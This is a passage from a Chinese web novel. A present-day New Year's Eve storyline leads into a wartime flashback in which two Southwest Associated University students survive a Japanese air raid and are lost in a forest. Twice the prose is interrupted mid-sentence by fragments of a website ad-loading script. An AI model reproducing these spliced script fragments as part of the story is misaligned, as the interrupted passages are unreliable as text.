他将剪好的样子拿给程澍礼看,简单的线条勾勒出一个穿着裙子扎着麻花辫的小女孩,她单手叉腰,另一只拿着可乐的手垂在身侧,老金最后几刀给她加了表情,她眯着眼睛欢快地笑。 老金有点不好意思,说:“我剪的不太好,你看看是不是这样?” 程澍礼将小人儿接过来:“这样就很好了。” 见他那么专注地看着那小人儿,老金不禁好奇地问:“你这是让我剪的谁啊?” 程澍礼说:“家里一个总爱跑丢的孩子。” 现在那张小人儿被放在手机壳里,程澍礼走到哪带到哪,像之前身边总跟着个小尾巴一样。 钟音连着喊了他几声,程澍礼回神,笑了笑问:“您还要买点什么吗?” “人多挤得头疼,回吧。”钟音说。 回去的路上,钟音望着程澍礼毫无情绪的侧脸,心里不知怎么,总觉得不自在,有几次她想说点什么都被打断,要么碰上交通检查,要么来电话,直到快到家时,钟音才开口:“贵州那......” 程澍礼转而问:“晚上去大伯家要带点什么吗?”每年除夕,他们都在大伯程开彦家吃年夜饭。 钟音说:“准备好了,你爸昨天还特意去德胜门那边,买了点你大伯爱吃的点心。” “我大伯就爱吃点儿甜的。”程澍礼笑得漫不经心,他打下方向盘,车辆拐进京大,“太初年后才能回来?”程太初是大伯的小女儿,正在国外留学。 “好像明年就毕业了吧。”钟音想了想,又补充了句,“回来也好,一家人总得在一块待着。” 程澍礼慢慢开着车,就着这话题和钟音聊了点别的,自然而然地岔开话题,最后钟音也没再想起问贵州的事儿。 回到家,程开济把程澍礼叫到阳台,叮嘱他记得明天帮忙浇个花。 程澍礼不明所以地说:“明儿您要去哪?” “不去哪儿。”说着程开济往客厅看了眼,确定钟音不在才说:“晚上我跟你大伯得喝点儿,万一醉了你妈可不管我这花花草草的死活。” 程澍礼摇摇头笑:“您可悠着点儿。” “诶对了。”要走时,程开济忽然指着角落,一盆零星挂着几个花骨朵的盆栽,他说:“那盆海棠花不用浇啊,它耐旱,我今天刚浇过。” “您什么时候养的海棠花?”程澍礼不动声色回了一句。 程开济说:“上回阮老爷子去世,我去了一趟他们家老宅,从他们家院子那棵海棠树上剪了几根枝条下来,没想到回来还真插活了。” 另外程开济想的是,以后可能再没机会去,就留着做个念想。 程澍礼看着那盆海棠花:“阮老爷子也喜欢海棠花啊。” “不是阮老爷子。”提到这个,程开济的神色变得沉重几分,他轻声说:“那海棠花是阮老爷子的父亲,也就是齐老太爷,他许多年前种下的。” 程澍礼愣了下。 “都是我小时候你奶奶讲的了,说阮老爷子上边还有个姐姐,打仗那几年死活说要出去上大学,然后一走就再也没回来,齐老太爷独自一人出去找了好几年,闺女没找到,倒是在路上看见了不少死人,有的死的时间长了就剩一副骨架了,齐老太爷心善啊,看不得人死了这样,就遇见一个埋一个,也不知道最后到底埋了多少人。” 程开济下巴一台,示意那海棠:“后来回山东,齐老太爷发现有几粒种子在他行李里发了芽,当时还看不出来是什么,就随便丢在了土里,哪知道后来能长成那么大的海棠花树。” 程澍礼静静注视着那盆海棠花,它沐浴在黄昏柔和的夕阳中,绿叶随风轻摆,在冰冷的墙壁投下一片安宁的影子。 程开济没察觉他忽然不正常的沉默,只继续道:“大概是不知道埋谁的时候,无意中蹭到旁边的种子了吧。” “积德行善,也算一段缘分了。”程开济这样说。 程澍礼登时觉得心头发紧,他呼出一口气看向别处。 ...... 晚上,一大家人聚在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 程开济家里,围坐在圆桌边吃年夜饭。 程开济和程开彦两人只有过年时能喝酒,都有些上头,两人都慢慢有了醉意之后,开始红着脸细数对方小时候做过的糗事,钟音和大伯母付凝坐在旁边无奈地笑,不停地劝两人少喝点。 后来实在劝不动,便随他们去了,她俩携手坐在沙发上准备看春晚,和往年一样节目没什么新意,但老一辈人总觉着,看了春晚才叫过年。 开场节目一贯的歌舞升平,观众席上大家都露出喜悦的笑容,身着华服的主持人站在舞台中央,语气激昂神采飞扬,无不彰显着对国富民强和中华盛世的祝福与自豪。 看了会儿,大洋彼岸的程太初给付凝打来拜年视频,堂哥堂嫂上前打过招呼后,便要带着孩子出门,问程澍礼要不要一起去前门大街逛逛灯会,程澍礼说可以。 等几人走后,付凝拉着钟音小声说:“我看你们家澍儿怎么没什么精气神儿啊。” “他就这样不爱说话。”钟音发现了但是不想多说,“哎呀太初,看你都瘦了,国外饭不好吃啊。” 程太初忿忿吐槽:“我拿豆汁儿泡饭都比这强。” 付凝笑:“这孩子。” 下了楼,程澍礼先是把红包塞给孩子,然后跟堂哥说:“我就不去了。” “怎么不去了?”堂哥抱着孩子,站在车边问,孩子拿着红包呆呆地盯着程澍礼。 程澍礼找了个借口:“刚回北京还没缓过神,有点头疼,我回家睡觉去。” 堂嫂赶忙关心说:“别是冻着了啊。” 程澍礼说:“没有,就是有点累。” 堂哥说:“行,那你自己开车注意安全啊。” 程澍礼笑着说:“新年快乐。” 孩子奶声奶气:“新年快乐!” 北京除夕的夜晚,大家都出去逛庙会看灯展,反倒街道上空旷安静,程澍礼开着车一路畅通无阻地回了家。 打开家门一看,景祎和李多聿正堂而皇之地坐在沙发上,看见他进来,景祎打响一个胜利的响指:“嘿嘿!我说什么来着!” “你那是瞎猫碰着死耗你!”李多聿愤愤不平,拿起桌上的玻璃瓶,一脸痛苦地将什么东西一饮而尽。 大家住在一块十几年,知根知底,两人又是钟音和程开济看着长大的,所以对于他俩知道家门密码并且不请自来这件事,程澍礼一点都不惊讶。 他换好鞋子坐到沙发对面凳子,问:“喝什么呢?” “崂山白花神蛇水。”李多聿灌了一口白开,好不容易散掉嘴里味道,“我俩打赌你会不会提前从你大伯家回来,我说你肯定等着程教授和钟主任,她不信,打赌输了的人喝这个。” “当然了!”景祎接话,“他肯定跟小时候一样,不喜欢待的地方,找个理由躲起来做数学题。” 话间,程澍礼拧开一瓶崂山神蛇水,面无表情地喝了一口。 看得李多聿一阵鸡皮疙瘩:“你是怎么能喝得下这玩意儿的?” 程澍礼说:“清热解毒,对胃好啊。” “诶这话我爱听。”景祎拿起另一瓶跟他手里的碰了下。 李多聿切了一声。 景祎放下瓶子,问程澍礼:“刚还说呢,我俩放假准备去京郊租个小院儿住两天,你去吗?” “不了。”程澍礼说,“我还得回趟贵州。” 李多聿诧异地往这边靠了靠:“你不今儿才回来吗?” 程澍礼如实说:“我在那边联系好了,过几天把大顺和一二三四五六接过来。” 此话一出,景祎和李多聿都有点懵,都不敢想象这是程澍礼会干出来的荒唐事儿。 “把它们接过来干嘛呀?”李多聿扬声问,程澍礼淡笑了下没有说话,景祎很快跟着发问:“把它们接过来放哪儿?” “我奶奶之前在西城那边还有个胡同院子,我准备带小狗去那边,至于大顺,”程澍礼想了想,“暂时放在赵岩那马场吧。”赵岩是几人的一发小儿,自己开了一马场。 一番交流后,李多聿不可置信地看着程澍礼:“怎么你要自己整一天精地华宠乐园儿啊!” 景祎想起另一人来:“这事儿钟主任答应吗?” “再说吧。”程澍礼敷衍答道,他无声笑笑,又举起崂山神蛇水隔空和景祎碰了下,仰头一饮而尽。 态度看着随意,但景祎和李多聿明显看得出来,程澍礼这是下定决心了,任谁拦都没用,于是都默契地没再多说什么。 等两人走后,程澍礼关掉客厅灯,躺到阳台上的老爷椅,林钰文以前就常坐在这晒太阳。 夜色昏沉,天上无星也无月,死寂的像是没有波澜的海,灯笼的光照在盆栽和他身上,像落了一层白霜。 楼下,两人快出单元门时,李多聿骤然停下脚步:“我觉得他不对劲。” 景祎问:“怎么了?” 李多聿没有回答,他站在昏暗的楼道里,脸侧过去,没有聚焦的眼神不知道看着哪里,隔两秒,他转头看一眼景祎,又看看她身后的楼道门,接着猛地转身回头,迈步飞奔上楼,声控灯跟着自下而上亮了起来。 景祎跟着上楼,李多聿已经打开了门,但是站在门口没进去。 她的视线越过李多聿的肩膀,落向不远处阳台上的人。 程澍礼就那么一个姿势躺着,老爷椅丝毫没有晃动,他也一动不动,看上去特别悲伤,跟快死了一样。 过了很久,程澍礼忽然抬起胳膊盖住眼睛,紧接着,李多聿听见一声压抑的抽泣声,就着微弱的光,他看见程澍礼的肩膀在不停颤抖。 景祎拽了下他的袖子,用口型说:“走吧。” 李多聿无声地点点头。 除夕夜,北京突然下了一场小雨。 雨水折射细碎的水光,映在悄然开放的白色海棠花上,彼时,窗外灯火通明,国泰民安。 36. 第三十六场雨 又一次从支离破碎的噩梦中惊醒。 黑夜里,林钰文一身冷汗的从床上坐起来,她环住自己肩膀,埋下头不停地急促呼吸,脑海中不断闪过刚才梦中的画面。 这些画面没有起承转合,也不连贯,各种混乱的场景和人物糅杂在一起,让林钰文又一次回忆起那些痛苦的事情。 她保持着这个姿势,一直在床上坐到天蒙蒙亮。 起床铃响,寝室里的女生们陆续爬起来,睡在旁边的黄尹梦睁开眼,看见林钰文脸上毫无血色,从床上撑起身体问:“钰文,你又做噩梦啦?” 林钰文表情麻木,小幅度地点点头。 黄尹梦坐起来,轻柔给她披好衣服:“别想了,赶紧起来收拾一下,待会儿还得去学校礼堂呢。” 黄尹梦起床之后,林钰文仍旧抱着自己双腿靠在窗边,阳光照在破旧的玻璃上,屋里到处布满灰尘的味道,她颤抖着轻吸一口气,然后将自己抱得更紧。 学校礼堂,前方主讲台的最上方,红色横幅上赫然用毛笔字写着——国立西南联合大学毕业典礼。 林钰文作为地理学系的优秀毕业生代表,上台领取毕业证书。 她面无表情地从侧面台阶上去,走到讲台中央,姿态恭敬地躬身,双手接过杨教授手中的毕业证书。 身后掌声雷鸣,林钰文眼神空洞地看向手里的毕业证书,完全没有即将毕业的高兴。 杨教授知道她心结所在,安慰地拍拍她的肩膀,语重心长地说:“钰文,过去的事就过去吧,忘掉它,你以后的路还长着。” 林钰文没有回应,按照仪式流程,她捧着毕业证书转身面向底下的学生,大家齐声合唱西南联大校歌,《满江红》。 “万里长征,辞却了五朝宫阙” “暂驻足,衡山湘水,又成离别” “绝徼移栽贞干质,九州遍洒黎元血” “尽笳吹弦诵在山城,情弥切” 悲壮而激昂的歌声回荡在礼堂的每一个角落,倏然间,林钰文的眼泪夺眶而出,伤心的泪水布满整个脸庞。 忘不掉,她忘不掉在轰炸中一把将她推开的人,也忘不掉在叙永分校里,那个笑容明媚,眼睛闪耀如星辰的女孩子,向她伸出手自我介绍:“你好呀,我叫齐叙欢。” 抗日战争爆发后,为延续和保存中国的文化血脉,一批大学开始了艰难而漫长的内迁,1937年,清华、北大和南开三所大学南迁长沙,又在1938年西迁昆明,历经辗转成立了国立西南联合大学。 而为了彻底摧毁中国的教育体系,1938年,日军飞机开始对昆明甚至云南全省进行疯狂轰炸,到了1940年,日军开始大肆进攻缅、中、印边境,云南成为前线,昆明形势逐渐紧迫,西南联大再次酝酿迁校,最终于当年11月,在川滇黔三省的交接处成立分校,时称西南联大叙永分校。 去叙永报到的那天,秋日里阳光灿烂,四处喧,林钰文和周围的学生一样,茫然而新鲜地到处打量这所处在庙宇和祠堂的学校。 走过石桥,盛开的木棉花树下,几名学生坐在一张长桌后面聊天,旁边架子挂着的白布上,用正楷写着报到处三个大字。 林钰文走过去,礼貌地问了声:“您好,请问是在这里领学生证吗?” 最右边的男生面带微笑地抬头看她:“对啊,同学你叫什么名字?” 林钰文轻声细语:“我叫林钰文,地理学系的。” 男生视线自上而下,在誊写的名单上找到她的名字,他惊讶的欸了一声:“阿叙,这个女同学跟你一样是山东人欸!” “是吗!”被叫阿叙的女生坐在最中间,她探头一看名单,小小的哇了一声:“还是青岛老乡呢!” 接着,她站起来朝林钰文伸出手,脸上扬起一个大大的笑容:“你好呀,我叫齐叙欢,是大三农学系的。” 林钰文忙不迭放下行李东西,双手握了回去:“学姐好。” 许是看出她的紧张,齐叙欢用轻快的语气缓解气氛:“你看着好小呀,家里人放心你来这么远的地方上学嘛?” “我今年十七了。”林钰文觉得她笑起来特别好看,忍不住多看了两眼。 “还说别人呢。”一直没说话的男生开口打趣,“你来报到的时候不也才十六,还骗人说自己十七。” 齐叙欢扬声反驳:“我那时差一个月就满十七了,怎么不能说十七。” 男生低头用毛笔给林钰文写学生证:“也是,你要是再小点,估计就能打破三八年那位学长最小入学年龄的记录了。” 写完姓名和专业,男生抬头问:“你带照片了吗?” “带了。”林钰文将准备好的照片递过去。 男生将照片贴在学生证的左下角,然后拿起学生证,双手交给她:“林钰文同学,欢迎你来到国立西南联合大学,” 再次见面,是一年后的八月,西南联大校务出于经费考虑,多次会议后决定撤销叙永分校,所有学生迁返昆明上学。 西南水汽丰沛的黄昏里,林钰文在人群中看见齐叙欢的身影,时下是八月,她穿着一身白衫蓝裙,梳着两条整齐的麻花辫,站在树荫下在跟学校里的教授说着什么。 等教授离开,齐叙欢也看见了她,逆着人流朝她走过来:“林钰文,好久不见。” 林钰文羞涩地说:“学姐,好久不见。” “怎么一年了胆子还这么小。”齐叙欢笑得眼睛弯起来,然后她又补充了句:“别叫我学姐了,叫我阿叙吧,朋友都这么叫我。” 林钰文发现齐叙欢特别爱笑,她笑起来时整个人和阳光一样明亮,哪怕到处都是硝烟战火,也毫不削弱她身上那股熠熠生辉的活力。 齐叙欢是一个能在黑暗中给人带来希望的人,林钰文这样想,这股希望让她不禁心生向往。 “学......阿叙。”她鼓起全部勇气,看着齐叙欢好看的眼睛说:“听说你们来帮忙迁校的学生还没定好今晚住哪,正好我宿舍里还空一个床位,要不你跟我睡?” 齐叙欢欣然同意:“好呀!” 晚上,林钰文和齐叙欢相依而眠。 她们的床铺旁边就是窗户,清冷的月光轻轻洒落,安宁而朦胧,能让人忘却白天奔波的疲惫和紧张。 齐叙欢压低声音:“钰文。” “嗯?”林钰文转过身来,侧躺着看她。 齐叙欢跟着转过来,两人面对面时看见对方的眼睛,都扯起嘴角笑了下。 齐叙欢问:“你为什么出来上学?” 林钰文眨下眼睛,语气轻缓:“我妈妈跟我说,现在日本侵略者四处肆.虐,到处屠杀无辜的百姓,而这一切都是因为我们的国家羸弱而落后,而作为一个中国人,这个时候更应该要学好知识,学有所成报效国家。” 话落,林钰文顿了顿,她抿下嘴唇,很快又变成那个羞赧的样子。 齐叙欢看着她,羡慕地说:“你妈妈真好。” 林钰文听出她的话外之音:“你妈妈不让你出来上学吗?” 齐叙欢往前凑了凑,离她更近,特小声地说:“我是从家里偷跑出来的。” 林钰文猛然瞪大眼睛:“偷跑?” “嘘!”齐叙欢立刻竖起一根手指抵在唇边,她悄悄说:“我爸妈不让我出来上大学,我趁他们不在家跑出来的,还骗走了我弟的压岁钱。” “你还有个弟弟?”林钰文惊奇地问。 “我走的时候他才到我肩膀,也不知道这两年长高了没。”齐叙欢说道,话里透着思念。 “那你怎么骗走他的压岁钱的?” “我给了他一包豌豆黄,跟他说把压岁钱给我,等他吃完那一包豌豆黄我就给他带更多的钱回来。” 这么荒唐的借口,一个说,一个听,还有一个敢信,两个女孩子对视的瞬间突然都崩不住,同时缩在被子里笑成一团。 笑完,林钰文凝神望向眼前的人:“阿叙,那你为什么想要出来上学?” “因为我想和我的同伴们一起,创造一个理想中的中国。”齐叙欢总是含着笑意的眼睛此刻无比坚定,“国势危殆,灾难重重,有千千万万的年轻人已经奔赴前线甚至付出了生命,我知道我不能像我......” 说到这齐叙欢突然噤声,借着月光,林钰文看见她轻颤的睫毛和眼角的泪花。 接着,齐叙欢继续道:“我不能像他们一样上阵杀敌,为国捐躯,但是和他们一样,我爱这个国家,我想成为一个能够报效国家报效民众的人,为了祖国的强大而奋斗。钰文,科学和知识是一个民族强大的根本,科学技术的进步可以决定一个国家的命运,而先进的农业能让一个民族再也不会发生饥荒,所以我要努力学好专业知识,将来研究出更多更好的高产的水稻,让大家再也不会像以前那样挨饿,让全中国人人都有饭吃。” 黑夜里,齐叙欢眼中闪耀着信念的光辉,她伸出手,在被子底下紧紧握住林钰文的手:“青年循蹈乎此,本其理性,加以努力,进前而勿顾后,背黑暗而向光明,为世界进文明,为人类造幸福。” 林钰文和她一起齐声背诵:“以青春之我,创建青春之家庭,青春之国家,青春之民族,青春之人类,青春之地球,青春之宇宙,资以乐其无涯之生,乘风破浪,迢迢乎远矣,何无计留春,望尘莫及之忧哉。” 两个女孩子背完,又是相视一笑,被子下她们的手越握越紧,就如同她们的友谊,根须交织,茁壮坚韧。 ...... 第二天,叙永分校近八百名师生启程迁返。 四川云南两地没有铁路路线,只能借助车辆,然而车辆不多,在装载了书籍资料和教研器材之后,有限的位置只能留给生病的学生和部分女同学,所以剩余的同学由各系教授和帮助迁返的高年级同学带队,分多支小队步行迁返,边南下边等待接驳的车辆。 年轻的同学们背上行囊,走过永宁河上的石桥,依依不舍地离开了这个学习生活了一年的地方。 虽然战争局势渐趋稳定,但日军飞机仍盘桓在云南上空虎视眈眈,甚至在回迁队伍出发后不久,又多次空袭了川滇交界的地区,为保证师生们的安全,负责迁返的教授们研究后决定,放弃直入昆明的路线,而是改道从叙永绕道毕节,再从黔西南地区迂回进入云南。 改道后的路程,基本都是崎岖不平的山路,道路凶险,丛林密布,教授们走在最前方开路,女同学们走在中间,男同学们集体殿后。 跋涉许久,齐叙欢和林钰文所在的迁返小队终于到达兴义。 前面一直加紧赶路,同学们的身体都有些吃不消,带队的杨教授通知大家今天提早休息,养精蓄锐明天由此地进入云南地区。 黄昏的大山里,同学们将捡来树枝枯木铺成床榻,用多余的衣服当被子盖,男生们自发地将背风而隐蔽的地方让给女生。 齐叙欢和林钰文靠在一棵大树下,两人分食同一块鲜花饼。 这是林钰文第一次吃到鲜花饼,觉得又香又糯,还有似有若无的花香,她转头文齐叙欢:“阿叙,去了昆明可以每天都吃到鲜花饼吗?” “当然可以。”齐叙欢边收拾扎人的树枝边说,“咱们学校附近好吃的可多了,除了大家经常吃的汽锅鸡和过桥米线,还有一家馆子做的铁锅蛋和油淋鸡,特别香,等我们回去了,我一定带你去尝尝!” “齐阿叙!你又跟人炫耀梁教授带你吃过的那些好馆子,怎么他只带你去不带我啊。”过来送水的男同学听见她的话,忍不住抱怨了一句,然后他转头跟林钰文打招呼:“学妹你好,我叫王松吾。” “带我去是因为我跟梁教授学过一点日语,能帮他翻译一些外文材料。”齐叙欢抬起脸,狠狠威胁说:“还有,要是你再敢叫我齐阿叙,小心我再也不帮你买花生!” 两人是同班同学,因为喜欢的女同学爱吃花生米,每次他都去学校旁边的小摊上买,但那小摊老板娘看人行事,好看的去买就给的多,难看的就给的少,于是每次王松吾都求着齐叙欢过去代买。 “说的跟你少吃了似的。”王松吾说完,隔空扔个苹果给齐叙欢,“喏,就这一个了。” 等王松吾离开,齐叙欢把苹果塞进林钰文手中:“拿着,晚上饿了吃。” “这是学长给你的,我不能要。”林钰文说着就把苹果还回去,被齐叙欢二话不说推了回来,“一个苹果争什么争,等回了山东,你再请我吃回来就好。” 想到家乡的苹果,林钰文不由自主地笑起来:“咱们山东的苹果,又大又甜。” 但因为战争,耕地荒芜流民四窜,连吃饭都已经成了问题,更不要再提种苹果,想到这里,林钰文凝望着天边缓缓沉没的落日,眉宇间不禁流露出一抹低落:“阿叙,你说,我们能打赢这场仗吗?” “当然能!”齐叙欢的回答铿锵有力,她看了一眼林钰文,然后转头望向远方,夕阳的光辉在她眼底闪耀:“我坚信,中国一定能打赢这场战,成为一个和平的国家,到那个时候,我们会建设一个富强而自由的新中国。” 新中国三个字让林钰文有些迷茫:“阿叙,新中国会是什么样子的?” “我也不知道。”齐叙欢眯起眼睛笑了笑,她挠了挠头,“但看陈先生之前写的,要统一才会有新中国,所以那个时候我们会很强大,应该会建很多条铁路,等以后再想从叙永到昆明,就不用我们步行这么长时间,坐火车一天就能到。” 在她的话里,林钰文似乎听见火车轰隆隆的声音,由远及近地向她驶来,接着齐叙欢跪坐到她对面,眼底熠熠发亮:“我们会有特别厉害的飞机,每天都在天上巡逻,谁也不能侵犯我们的领空,然后就能和西方国家那样,建起很多很多的高楼大厦,能比山还高,说不定还有那种直接‘咻’一下就能把我们带到山顶的车,这样我们就再也不用爬山啦。” 她说:“到时候所有的孩子都能认字读书,他们学校的教室肯定特别明亮,操场肯定特别宽敞,可以自由自在地奔跑,不会像我们这样,每次在操场上听梅校长讲完话,一个个脸上都灰扑扑的。” 林钰文诧异地啊了声:“为什么?” “因为地上都是土啊。”说着,齐叙欢用手挥开眼前的小飞虫,眼神一瞬不瞬地看着林钰文,“你不知道,每次防空警报一响,整个学校里都是黄土飞烟的,还有人跑的时候一定会带上自己最值钱的黄金,有个哲学系的学长曾经这样说过,”她干咳了声,压低嗓音学着那人一板一眼的语气:“有人带金子,就会有人掉金子,有人掉金子,就会有人捡到金子,我是人,所以我可以捡到金子。” 林钰文被她可爱的模样逗笑,忍不住瑟缩下肩膀。 “所以新中国的校园一定很干净,至少教室里都能用上电灯,不用跟我们一样用菜油灯,鼻孔被熏的乌黑。还有,我之前听那个从香港来的华侨同学讲,他们那边已经......” 从日暮黄昏到星辰满天,齐叙欢滔滔不绝讲了许多她有关新中国的幻想,每个画面每个场景都是那样美好,美好得令人生出无限的憧憬。 这种憧憬几乎点燃了林钰文,她也变得激动起来:“我听说德国有一种叫潜艇的东西,能在大海里跑,新中国也会有吗?” 齐叙欢神采飞扬地说:“会有的!以后我们不仅要去大海,我们还要去星空,去宇宙!” 林钰文举起手中最后一个苹果:“还可以吃到很多很多的苹果!” 齐叙欢一愣,然后扬起笑脸狠狠点头:“对!吃很多的苹果!” 那一晚,在贵州的漫天星光里,有一根若有若无的丝线,从齐叙欢的话中缓缓飘到林钰文眼前,编织成一幅绚烂多彩的画卷。 那画卷林钰文仔细看了,那上面,是一个国家富强、人民幸福的新中国。 深夜,微风徐徐,她依偎在齐叙欢的怀里,感觉疲惫和忧愁尽数消散,嘴角噙着幸福的微笑安然入睡。 睡到半夜,林钰文恍然觉得身下的大地在颤抖,将醒未醒之际,齐叙欢一把将她拽起来,大声喝道:“快跑!日军的飞机来轰炸了!” 话落,一颗炮弹在几十米开外爆炸,顿时火光四射,硝烟弥漫整个天空。 林钰文踉跄着跟在齐叙欢的身后,周围到处都是同学们的尖叫和哭喊,杨教授站在奔跑的人群众高声呼喊:“同学们不要乱!往山上隐蔽的地方跑,注意不要掉队,看好脚下!” 飞机的轰鸣声中,蜂拥的人群四散躲进漆黑的山谷。 叙永分校的同学没有亲身经历过轰炸,然而这对总校的同学来说却是家常便饭,他们每人守着十几个同学,在黑夜中小心翼翼观察外面的情况。 林钰文被吓得手脚冰凉浑身发抖,齐叙欢紧紧将她抱在怀里,双手护住她的头,小声安慰说:“别怕,很快就过去了,马上就好了。” 可这次的轰炸比以往任何一次都要漫长,仿佛要炸平整座大山。 夜晚山里的温度越来越低,身后是轰炸,前方是山崖,恐惧和寒冷是对身心的双重折磨,不少同学开始哭泣,四周渐渐泛起细碎而断续的啜泣声。 王松吾咬紧牙关,他毅然决然地站起来,环顾一圈蜷缩在地又面露惧色的同学们,炮火连天和飞机轰鸣的混乱中,他扯着嗓子问大家:“同学们都还记得咱们的校歌吧!” “记得......记得。”几个微弱的声音在纷乱中顽强地回答。 王松吾在黑暗中奋力挥动双臂:“来!我们一起唱校歌!” “万里长征,辞却了五朝宫阙” “暂驻足,衡山湘水,又成离别” 起初,只有寥寥几人的声音,在震耳欲聋的炮火中显得微不足道。 但是慢慢的,这些声音像是一颗火种,悄然点燃越来越多同学心头的希望。 “绝徼移栽桢干质,九州遍洒黎元血” “尽笳吹,弦诵在山城,情弥切” 更多的同学被校歌蕴含的力量所感染,他们的眼神中闪烁着刚毅和坚卓,因为恐惧而颤抖的歌声在此刻汇聚成势不可挡的洪流,在黑暗中不断交织碰撞,穿透了炮火的侵袭,穿透了飞机的轰鸣,变得愈发洪亮而悲壮,响彻整片山林。 “千秋耻,终当雪” “中兴业,须人杰” “便一成三户,壮怀难折” 林钰文缓缓从齐叙欢的怀抱中抬起头,轻声而坚定跟附和着黑夜中的歌声。 齐叙欢低头笑着看她,用手温柔地抹去她脸上的灰尘。 “多难殷忧新国运,动心忍性希前哲” “待驱除仇寇,复神京,还燕碣” 最后一个音符落下,王松吾眼含热泪地凝视着每一位同学,他刚想开口说什么,骤然瞳孔收缩,映出一枚在划破夜空急速坠落的炮弹。 浑身血液直冲发顶,他声嘶力竭地大喊:“阿叙!快跑!” 炮弹正中齐叙欢后方,整个世界陷入一片死寂,同学们惊惧的面孔、杨教授和王松吾拼命呼喊的样子变得缓慢而模糊。 ——只有怀里林钰文的心跳在提醒着她。 一秒的时间宛如一万年之久,爆炸声响起的一瞬间,齐叙欢毫不犹豫用尽全身力气推开林钰文,自己却被巨大的冲击力掀翻。 被推开的林钰文没有放开她的手,而是死死地抓住她,尘土和碎石掀起一片混沌,两人同时滚向深不见底的山谷。 爆炸过后,尘埃飘落,像是无数时间的碎片,缓缓落在炮弹留下的深坑和空无一人的土地。 ...... 日出曦光的时候,林钰文感觉自己全身像是粉碎之后又被重组了一遍,每一处都钻心的疼,她闭着眼,感到有人将她的头小心地抬了起来。 她撑开沉重的眼皮,齐叙欢布满血迹的脸没入眼帘,但很快她就伸出手,盖住她的眼睛:“先别睁眼,先适应一下。” 林钰文说话时感觉喉间带血:“你的脸怎么了?” 齐叙欢说:“摔下来的时候被树枝刮了一下,没事儿。” 视线一片黑暗,周围安静得近乎阴森,只听得见彼此呼吸的声音。 林钰文问:“我们在哪儿?” “不知道。”齐叙欢轻轻抚摸着她的头发。 四周山山叠峦,林莽如海,迷雾重重将天空彻底隔绝,扭曲的枝干如同恶鬼的獠牙,幽暗的丛林仿佛令人毛骨悚然的地狱,渗透着无数未知的恐怖。 齐叙欢低下头,用细微而无助的声音说:“我们迷路了。” 她们互相搀扶着,在茫茫森林里不知道走了多久,但是森林好像越走越多,越走越困难,林钰文体力不支地向前倒去,连带着齐叙欢跪倒在地。 林钰文虚弱地抬起头,她看着齐叙欢说:“阿叙,我走不动了。” 齐叙欢捧起她的脸,因为缺水而干裂的嘴唇一张一合:“钰文,我们掉下来的地方是北边,只要坚持往北走,一定能走出去的,而且松吾学长和杨教授他们肯定在想办法找我们,你不能放弃。” 林钰文感到特别疲惫,疲惫地像是灵魂已经不复存在,只有肉.体麻木地存活着,但是齐叙欢的话似是最后连接她和世界的线索,牢牢地拖着她的最后一口气。 她目光涣散地点点头:“好。” 齐叙欢笑了下,从怀里掏出最后一个鲜花饼,掰开一小块递到她嘴边:“快吃,吃完了就有力气了。” 林钰文问:“阿叙,你吃了吗?” “吃了吃了。”齐叙欢表情如常答道,催着她吃鲜花饼,“你吃完我们就继续赶路。” 齐叙欢让林钰文独自坐在大树下,然后自己不知道去了哪里。 等林钰文慢慢吃完一块鲜花饼,齐叙欢终于回来,用白色的上衣兜了一捧不知名的野果子回来:“刚路过那边时看到的,咱们带着路上吃。” 这些青黄干瘪的野果让林钰文想起什么,她拿出怀里的苹果:“阿叙,还有这个,你吃了。” “我吃过啦!”齐叙欢笑着说,“我刚在那边的时候吃了好几个果子呢,你自己留着。” 看着她一如既往的笑容,林钰文心里总是隐隐不安:“你没骗我?” 齐叙欢怔了下:“我骗你干嘛!”说着她哎哟一声,低头在脚面看见一条细长的蚂蝗,她揪着蚂蝗的尾巴拽出来,但另一头还在肌肤里不停吸血,最终费了好大一番力气才彻底将它甩远。 林钰文赶忙从自己衣服上扯下一块布料,盖在齐叙欢不停流血的赤.裸的脚上:“阿叙,你的鞋呢?” “不知道掉哪儿了。”齐叙欢不以为意地说,“没事儿,等回昆明再买一双就好了。” 林钰文忍不住哭出来:“如果不是为了推开我,你就不会这样。” “我要是不推开你,咱俩都得被炸死。”齐叙欢盘腿坐下来,看着她叹了声气:“反倒是你,如果当时放开我,这会儿就不用遭这罪了。” 林钰文立马坐直身体,肯定而决绝地说:“我一定不会放弃你的。” 齐叙欢笑着推下她的脑门:“傻。” 歇了会儿,她们准备继续往前走。 起身的一刹那,齐叙欢忽而一阵头晕目眩,脚步虚浮差点摔倒,林钰文眼疾手快地扶住她:“你怎么了?” 齐叙欢缓了缓,站起来猛吸一口空气道:“没事儿,就是突然没走过这么多路,有点累。” 然后她看着林钰文马上又要哭的样子:“别哭别哭,我保证你一定能出去。” 林钰文摇头:“我们要一起出去。” 齐叙欢笑:“行,一起。” 黄昏的降临让森林的阴暗愈加沉重,树叶上、草丛里藏着数不清的蚂蝗,还有能吃人的蚊子,而比这一切更可怕的,是饥饿。 她们一连走了几天,都没有等到同学们的救援,周围的寂静让她们像是被抛弃在另一个空间,但是时间仍旧推着她们往前。 为了让林钰文打起精神,齐叙欢一边拖着她往前走,一边和她聊天:“钰文,你喜欢你学的地理吗?” 林钰文意识迷离,但眼中还是闪过一起微光:“喜......喜欢。” “你们地理都学什么?” “学自然地理环境,大气、水、岩石、生物、土壤,还有好多书上讲的,各种不同的地形地貌和没见过植物。” “那等你毕业了,等没有战争了,一定要去这些书本上的地方去看看,亲眼看看我们中国的大地,看看那些没见过的东西。” “好。”林钰文每呼吸一下,都觉得肺腑被锋利的刀刃划过,“但是阿叙,万一以后我也在森林里迷路了怎么办?” “不会的。”齐叙欢艰难地咽下发干的喉咙,“你忘了我们那天晚上说的,新中国的科技会很强大,到时候,一定有一种能比指南针还厉害的仪器,不管你去哪,它都能带着你找到回家的路。” “真有那么厉害吗?” “真的。” 森林如同无形的巨兽,张开深邃而残忍的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 血盆大口,悄无声息地吞噬她们弱小的背影,月光被厚重的云层包围,天边几点星光,在黑暗中挣扎着发出最后的光芒。 终于远远看到她们摔落山崖的地方,齐叙欢的身体已经透支,完全靠着本能将林钰文拽起来,她喃喃道:“钰文,我们到了。” 林钰文用力扯开嘴笑:“到了。” 话音未落,齐叙欢突然吐出一口鲜血,接着整个人脱力般直直栽倒在地。 